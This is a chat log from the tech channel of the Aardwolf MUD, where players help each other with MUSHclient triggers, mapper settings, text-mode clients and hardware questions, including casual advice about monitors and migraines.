T3/r7/2013-08-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Unless you mean floor portals?
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Ghargan Tech: i mean custom exits, like the bucket in aylor
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Yeah, those are fine - it will act strangely if you do that for held portals, though
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Ghargan Tech: i wasn't going to try that for held portals :D
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Grissom Tech: anyone have a plugin that can track from i get my qps from
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Tech: bast
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Kalrom Tech: I don't know if anyone can help with this, but I have migraines, and with it eye problems, some monitors bother my eyes, some don't.  Like the tv in the living room I can watch, but the tv in another room is hard to look at, for a computer monitor any ideas what I should be looking for?
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Kalrom Tech: I think the screen refresh rate is one thing, how do I know a monitors possible refresh rates before I buy it... but to me its eems like there is mroe than just that to it
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Trachx Tech: refresh rate is irrelevant
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Trachx Tech: light is important
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Trachx Tech: I mean daily light and backlight light
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: I'd get a matte screen, not glossy for one
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Kalrom Tech: What is meant by daily light?  How do I tell a monitors light output before I get it, which alsor eminds me I've been having light sensitivity issues, can all current monitors be dimmed greatly?  For example I currently am on a laptop and I have it dimmed almost as much as it can, plus sunglassesson in a dark room, as I am currently having problems
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Trachx Tech: human eye don't like muscle tension, sharp light, high contrast, reflections
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Trachx Tech: muscle tension is caused by constant looking at short distance
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Trachx Tech: you have to change object you looking at, I mean it is good to look at distant objects from time to time, also don't focus eye on single point
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Trachx Tech: also you should it is good for 2-3 minutes every hour to stare at darkness
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Trachx Tech: ie use your palms to cover eyes, and look blinking
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Refresh rate is absolutely important when it comes to migraine headaches... ever see that epilepsy warning on TVs and whatnot? It isn't there for funsies.
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Trachx Tech: also blinking is important - to moisturize eyes
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Migraines and epilepsy are quite strongly related insofar as visual frequency is concerned.
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Check the backs of each TV for the info panel, this will list the frequency of each TV. I suspect 1 will be 50/60, and one will be 100, if it is the frequency which is causing you issues.
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Trachx Tech: I doubt whether refresh rate is important with LCD displays, it was important for CRTs
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Trachx Tech: LCD has stable image, crystal is in one position or other
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Trachx Tech: for LCD's this parameter means how fast image can be displayed (in terms change from one image to other)
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Trachx Tech: for CRT's it was rather how often image is redisplayd (ie. how often cathode ray tube emits the same image)
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Kalrom Tech: okay so the screen I've had the most trouble with says 50/60hz... I can't check the other one right now... and may have a hard time doing so laters ince its wall mounted
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You will also see differences between a display showing interpolated (like 1080i or something) vs progressive (like 1080p)
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Was the other one more expensive?
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If they are the same frequency, the next thing to check is viewing angle and distance - if the one causing you issues is wall mounted it may well be too high
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Kalrom Tech: yes, the 50/60 is a samll one with kind of a textured screen, the otehr one is much bigger and is a smooth glass screen, but not sure if its plasma or what not, so not sure how big a difrence plasma vs lcd or what not makes
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Trachx Tech: also backlight technology used for LCD's is important, if it is CCFL (cold cathode fluorescent lamps) then it is blinking
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Trachx Tech: whether that LCD has refresh rate 50,60,75 or 100, it CCFL has it's own blinking rate
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Trachx Tech: and that blinking can cause headaches
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Kalrom Tech: okay sounds like i definately don't want CCFL
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Trachx Tech: LED backlight though should be far better, as it gives constant light
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Trachx Tech: there are different LEDs and human eyes don't like certain types of light
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Trachx Tech: also, monitor should not be source of light
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Trachx Tech: I mean, dark room and light monitor is no-no
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Trachx Tech: better use other light source like lamp
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Kalrom Tech: well with my light sensitivity i tend to have as little light in the room as possible, plus sunglassess, and monitor dimmed, for example when watching tv i have allt eh blinds drawn, which still lets in too much light, the tv on night mode, as dim as i can get it, and two pairs of sunglasses on, so id on't think i can do anotehr source of light
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Kalrom Tech: though I am hoping my eyes get better... Lord willing, but who knows, they have been having problems like this for a year now, though ive had migraines since i was 5
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Trachx Tech: you should avoid contact with artificial sources of light then, especially TV's, LCD's
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Trachx Tech: still, maybe air is too dry? especially if you use AC
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Kalrom Tech: well last summer and this summer have been the worse, last summer i didn't look at screens at all, this summer i have been, and aside from some screens not being able to look at, and from time to time having to not look, i havn't noticed a huge difference in my problems wether looking at screens all day ornot
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Kalrom Tech: thank you to everyone who helped :)
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Ulrich Tech: is there a way to suspend repaint_buffer to stop spam during trace?
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Ulrich Tech: ok II set up an auto consider to fire on room exits, works good on look but seems to fire twice during movement, any ideas?
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Xarfin Tech: Has anyone been able to get Bast eqDB overload to work with containers?
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Xarfin Tech: For me it works with the inventory and equipment. With containers it fails... I found that nitem.serial is nil
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Mencheres Tech: is there any way to control a music player with mushclient?
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Hanslanda Tech: yes
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Qaebl Tech: you could likely write a plugin to do it I believe
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Hanslanda Tech: you will probably do it through COM, so you would need to know the COM interface for that player.
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Tech: then we're back at the misunderstanding of the term
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Mencheres Tech: ok........ i'll have to research it
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Mencheres Tech: now hard is tintin++ to use?
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Qaebl Tech: not hard at all I love it
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Qaebl Tech: or tinyfugue
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Mencheres Tech: cool any scripts you can reccomend, or anything of that nature?
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Qaebl Tech: best is to write your own
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Mencheres Tech: ok
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Sickerone Tech: how come my GMCP mapper marked every room as unexplored, even though ive been there
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Blonk Tech: You may have not saved when you quit the program last time
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Tech: have you been there while using the mapper?
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Sickerone Tech: yes, every time i start my client its fine, its i first time
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Sickerone Tech: deleted all my rooms
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Ayasinda Tech: did you upgrade mush recently?
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Tech: if you haven't upgraded recently, go to game -> configure -> MUD name/IP address...is the name of the world still "Aardwolf"?
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Sickerone Tech: nope, but ive notice that there is a [n] up on top
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Tech: yeah, that's the issue
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Sickerone Tech: what does it represent
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Tech: in there, change the name back, then quit & restart MUSHclient
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Caramel Milkshake Tech: bleh I wish I could order a hard drive like I order pizza
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Ayasinda Tech: you can
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Blonk Tech: if you live in my home town, i gota an extra i will deliver
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Tech: the title bar of MUSHclient is "MUSHclient - [<Worldname>]
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Hanslanda Tech: you can.  Just takes more than 30 minutes.
T3/r7/2013-08-03.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: amazon+ overnight shipping
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Sickerone Tech: oh , how do i change it back
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Caramel Milkshake Tech: hahah fair point but I did mean in 30 minutes
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Tech: go to where I told you to go and do what I told you to do ;-)
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Ayasinda Tech: that's not ordering. That's the deliver part
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Caramel Milkshake Tech: so far the best shopping place I've found in NYC is JR's for tech, but it STILL isn't as nice as say a fry's
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Caramel Milkshake Tech: why is there no fry's in NYC?
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Sickerone Tech: you just said in there
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Tech: JR Music World?
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Tech: type  "tech -h abelinc"
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Caramel Milkshake Tech: uhh its all things electronic
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Tech: heh, the company name was JR Music World, I used to get their catalogs all the time
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Caramel Milkshake Tech: yeah they're pretty nice, like fry's but without the selection or the deals
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Sickerone Tech: it worked, thanks a billion
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Scars Tech: i want to purchase a wireless repeater - but it seems like they are more expensive than a second wireless router... wtf is that all about?
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Book of Etzli Tech: Turn your old router into a repeater, then.
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Scars Tech: it's not really for me, it's for a coworker who is not tech savvy in the slightest
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Scars Tech: thinking about suggesting this: http://store.linksys.com/adapters/linksys-RE1000-range-extender-bridge_stcVVproductId136607179VVcatId554677VVviewprod.htm
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Ayasinda Tech: turn his old router into a repeater then
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Tech: Book of Etzli just said that, Ayasinda.
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Scars Tech: i don't want to do any of the work, i want to suggest a product and walk away
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Scars Tech: and telling her to do that isn't a solution
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Ayasinda Tech: you said your not his
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Book of Etzli Tech: Touche.
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Hanslanda Tech: why not just suggest a store and have him talk to the customer service rep?
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Book of Etzli Tech: Really, to be honest, there's complete step-by-step instructions for turning an old router into a repeater, and it's pretty idiot-proof.
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Scars Tech: imagine dealing with someone about the age of your grandparent (or some other family member who thinks computers are boxes of wizardry)
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Ayasinda Tech: do to him the same as we do here. Tell him where to get what he needs
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Scars Tech: this has been less than helpful, thx
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Book of Etzli Tech: It's a suggestion. I hate spending more money than I have to, and repeaters aren't necessarily the easiest, either.
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Scars Tech: i've gone down the road of "just follow the instructions on this website" and that turned into "i was afraid i'd mess it up so i stopped, is there something i can buy and just install or something like that?"
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Tech: Book of Etzli chuckles politely.
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Book of Etzli Tech: The problem is that no matter what, she's going to need to follow some instructions.
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Scars Tech: i was just surprised that wireless repeaters were as pricey as they are, and thought maybe i'd find people here who knew of some brand or whatever that would be better
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Scars Tech: sure, and when they come from putting a CD in and following a wizard, there's an acceptable comfort level
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Book of Etzli Tech: Meh, to be honest, I'd just google "best low cost repeaters" or something like that.
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Scars Tech: following instructions from a website doesn't meet that
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Scars Tech: i did, but thought maybe there was a "oh, so-and-so calls it a blah, so google doesn't find it" thing
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Scars Tech: and maybe someone knew the so-and-so and what the blah was
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Scars Tech: i like how tech is still like dealing with helpdesk support... first couple of comments are rarely helpful :P
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Book of Etzli Tech: "Did you turn off your modem, wait 30 seconds, then turn it back on?" -- Uh, yes, I did. "Okay, do that now."
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Ayasinda Tech: that depends on how you define helpfull. All the comment were working solutions
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Scars Tech: gtfo ayasinda
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Scars Tech: thats not at all what i said
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Nuanse Tech: now now scars, it was actually exactly what you said.
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Scars Tech: such a fitting name you have
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Hanslanda Tech: rather sudtle if you ask me
T3/r7/2013-08-03.txt.gz:{chan ch=tech}Book of Etzli Tech: "First couple of comments are rarely helpful" is not saying "They aren't working solutions." It's saying "While they may be solutions, they're not helpful in this sense."
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Bamboo Tech: How do I set a specific room as the default goto room for mapper?
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Bamboo Tech: In an area
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Daloran Tech: You make an alias to do it
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Daloran Tech: something like goto *... then match * to a list of areas, and for the appropriate area, use mapper goto <roomnumber you chose for that area>
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Bamboo Tech: Hmm. Thanks
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Daloran Tech: Np.
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Daloran Tech: As far as I know, its not anything built in to the mapper, though. Another option is to make individual aliases for the areas.
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Daloran Tech: Like alias aylor to mapper goto 32418
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Bamboo Tech: That would be a hassle tho
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Daloran Tech: Nod... it's a bit of a hassle either way - just one you make the alias once, and uses a single alias vs having to add each room individually
T3/r7/2013-08-04.txt.gz:{chan ch=tech}TrEz Tech: is there a way to check which plugin has an alias
T3/r7/2013-08-04.txt.gz:{chan ch=tech}TrEz Tech: in mush
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Drunk'ing Abel Tech: what's the veraible argument for mush? is it kill * , 1$?
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: %1 in the action part
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Drunk'ing Abel Tech: woohoo thanks abe
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: in the trigger part, it's not really up to MUSHclient...non-regex glob patterns use * for wildcard, and regex uses (something) for pattern capture, with things like .* or .*? as wildcards
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: so without clicking "regular expression", yes, "kill *" and "bs %1" would work
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Ranrr Tech: If I put a USB 2.0 device into a USB 3.0 HUB, will the whole hub switch to 2.0 speed?
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Dark Witch Roxane Tech: anyone here can help me with my Aard version of mushclient?
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: ask the question
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Daloran Tech: in general Roxane, its better just to ask your question, not ask if you can ask / if someone can help / etc.
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Dark Witch Roxane Tech: Not sure what happened, but I have a mini map that appears when I move before the room descr and now suddenly one appears after.
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Dark Witch Roxane Tech: so two maps every time I move
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Dark Witch Roxane Tech: I didn't even know if anyone was actually on here. Should have known there would be.
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: even when there's nobody on here, may people do -h when they get here and answer questions they see, so it's still best to ask away
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Daloran Tech: also less effort to just ask then ask to ask if you can ask
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: did you install or uninstall a plugin recently when this started happening?
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Dark Witch Roxane Tech: okie dokie
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Dark Witch Roxane Tech: hahahaha... plugins... me? No.
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Dark Witch Roxane Tech: I barely have aliases.
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: normally, you wouldn't see the minimap at all in the main output...it's captured by the miniwindow plugin that's included...right-click that plugin and select "echo map in main output"
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: err right-click that miniwindow
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: it's the one that has a ? in the upper-left corner, and the middle should say "Map will appear here once you start playing."
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Dark Witch Roxane Tech: Yup, figured it out, now to test
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Dark Witch Roxane Tech: hrmm.. nope, that wasn't selected.
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tigernuts Tech: 28c3 posted some really interesting seminars online
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tigernuts Tech: sorry, i guess lecture would be a better term
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Dark Witch Roxane Tech: I decided to google it.
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: roxane: type "tags"...it should have "MAP" set to "YES", and "Global tags option" set to "On"
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Dark Witch Roxane Tech: I usually have to type tags off everytime I log on.
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: you should absolutely NEVER type tags off when using aard MUSHclient
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: it breaks almost everything included with aardmush
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Dark Witch Roxane Tech: of course not. I should go back to my regular muschlient that I used for about 18 years now. Never had issues.
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: type it when you move to a different client, but not in aardmush
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Daloran Tech: http://namingschemes.com/ 
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Daloran Tech: For ideas on naming your servers =p
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Ranrr Tech: Hey, all my naming schemes are in there already :D
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Daloran Tech: lol. Maybe they're spying on you
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tasty Tipro Tech: should tick triggers on mush be sent to execute?
T3/r7/2013-08-04.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: depends what you're doing in them
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tasty Tipro Tech: just doing swho checks
T3/r7/2013-08-04.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: what you're triggering on has no bearing on what you should send to
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: whether to send to execute doesn't depend on what kind of trigger
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tasty Tipro Tech: good point
T3/r7/2013-08-04.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: world is fine then, if you're just sending commands to the world
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: just what you're sending...execute means "parse aliases in this send text"
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tasty Tipro Tech: trigger just doesn't seem to be triggering. Trying to fiddle with it
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Gaelehad Tech: if you are using mush there is a trigger testing mechanism
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: maybe silly, but make sure you have ticks turned on...MUSHclient itself knows about ticks without needing them turned on
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: because they're sent via GMCP
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tasty Tipro Tech: nod i have show-tick on. Thanks though, that would have been silly
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Qaebl Tech: just curious if there are any UNIX text mode clients that support things like gmcp or mccp by default?
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Gaelehad Tech: you can run mccp as a client side proxy thingy
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Ranrr Tech: tintin++ supports mccp by default, and gmcp with some config
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: tinyfugue and tintin can both do mccp and gmcp
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Qaebl Tech: yeah seems tintin and tf both require that but was just wondering if there was a better configuration
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: better?
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Gaelehad Tech: you can run mush in wine if you really want and have a gui
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Qaebl Tech: ok my bad for using misconfigured distro packages then :)
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Ranrr Tech: proxy is not needed
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Qaebl Tech: yeah I didn't think it was these days
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: heh, the guy that makes the aard MUSHclient package runs it in wine as his normal environment
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Ranrr Tech: Probably best to compile from source, distro stuff tends to be old.
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Qaebl Tech: wow that's amusing.
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tasty Tipro Tech: well my tick trigger works when I run a test, but it doesn't work when the mud actually ticks
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tasty Tipro Tech: should I be making a variable for the status following the tick? "(All: 100%)" and what not
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: you don't need any variables, but you need the pattern to match
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tasty Tipro Tech: no idea why, but putting in a variable worked. --> TICK <-- *
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: the standard matching type for MUSHclient is glob, which is fully anchored
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: that's a wildcard, not a variable
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tasty Tipro Tech: ah, well it fixed it I suppose
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tasty Tipro Tech: thanks for responding everyone
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: and yes, it's because "--> TICK <--" is not the same as "--> TICK <--<something else"
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tasty Tipro Tech: nodnod
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tigernuts Tech: bank of england is short 1300 tons of gold
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tigernuts Tech: mis
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tynrael Tech: how hard would it be to make the database backup set aardmush as the current focus again when its done?
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: don't hold your breath
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: huh?
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Isn't the backup run inside of mush, how would it lose focus to start with?
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tynrael Tech: if it backsup during battle when its done it passes off control to any other random window like chrome or something and I have to click back in
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: it's a cmd.exe copy iirc
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tynrael Tech: ya it opens up a cmd window
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: it's Windows choosing where to focus at that point
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: It won't backup during battle I thought? It says "postponed due to combat, trying again in 5 seconds" or something.
T3/r7/2013-08-04.txt.gz:{chan ch=tech}HelperMan Hadar Tech: google chrome has a bunch of different size icons, anyone know a quick way to resize an image to match all those icon sizes?
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Herbal Tech: When I played years ago, the command you typed into the command box would stay after you would hit enter.  How do I set it up to do that again?
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Pei Tech: Game > Configure > Output
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Pei Tech: Game > Configure > Input
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Pei Tech: sorry
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Herbal Tech: Awesome ty
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Leinei Tech: it's labeled something weird
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Pei Tech: oh yeah
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Leinei Tech: it's auto-repeat command, not keep command on command line
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Pei Tech: Game > Configure > Commands
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Pei Tech: check Auto-repeat
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Herbal Tech: Ah ok was gonna say I couldnt' find it
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Herbal Tech: Perfect, got it thanks!
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Herbal Tech: I kept pressing backspace for no reason because of force of habit from years ago. Lol
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: you never would've needed to press backspace, though...typing replaces the previous command
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Pei Tech: yep
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: and before and now still, you can use up/down arrows to go through previous/later commands
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Herbal Tech: Very true.  Well never thought of just doing that.
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Herbal Tech: Force of habbit I suppose.
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Pei Tech: *shrug*
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: I mean the habit never would've been necessary to get into even years ago
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Herbal Tech: <nods>
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Tech: welcome back :-)
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: I also prefer to keep mine on line - hitting enter once is one less keystroke than up+enter :)
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Herbal Tech: I would I could recall why I did it.  Now it just happens.  Thanks!
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: and specifically, I did mine for reading notes - it's easier to just type note once, and hit enter a thousand times :)
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Sonshi Tech: in mush I just hold ctrl and whack r repeatedly
T3/r7/2013-08-04.txt.gz:{chan ch=tech}Kalrom Tech: anyone here help me build a gaming comp for current and not yet released graphical MMOs?
T3/r7/2013-08-04.txt.gz:{chan ch=tech}TrEz Tech: if you gots moneyz
T3/r7/2013-08-04.txt.gz:{chan ch=tech}TrEz Tech: just go on twitch
